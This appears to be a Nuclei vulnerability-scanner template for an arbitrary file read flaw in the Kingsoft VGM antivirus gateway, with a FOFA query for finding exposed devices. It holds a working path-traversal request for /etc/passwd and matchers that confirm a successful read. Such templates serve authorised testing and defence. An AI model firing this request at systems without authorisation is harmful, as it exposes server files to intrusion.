42 lines
1.4 KiB
YAML
42 lines
1.4 KiB
YAML
id: kingsoft-vgm-lfi
|
|
|
|
info:
|
|
name: Kingsoft VGM Antivirus - Arbitrary File Read
|
|
author: abbas.heybati
|
|
severity: high
|
|
description: |
|
|
There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.
|
|
reference:
|
|
- https://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486073&idx=1&sn=8e61e162262585bb8ce973b61df989b4&chksm=c1f925cbf68eacddfe441b8f1861e88068039712e467fb9bbe91eae31d439286c7147d197b07
|
|
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/kongsoft-vgm-antivirus-wall-rce.yaml
|
|
classification:
|
|
cpe: cpe:2.3:a:kingsoft:kingsoft_antivirus:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: kingsoft
|
|
product: kingsoft_antivirus
|
|
fofa-query: title="金山VGM防毒墙"
|
|
tags: kingsoft,vgm,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/downFile.php?filename=../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/force-download"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100c7d9a4655a7be001e8615d526b4175c56f9a872235882f5caa8f33d47a7875aa022100fa85fd29c0e1bd77e6c22cf71ffcddc7058a2a867d01e11e2cf9d6724a85d8fc:922c64590222798bb761d5b6d8e72950 |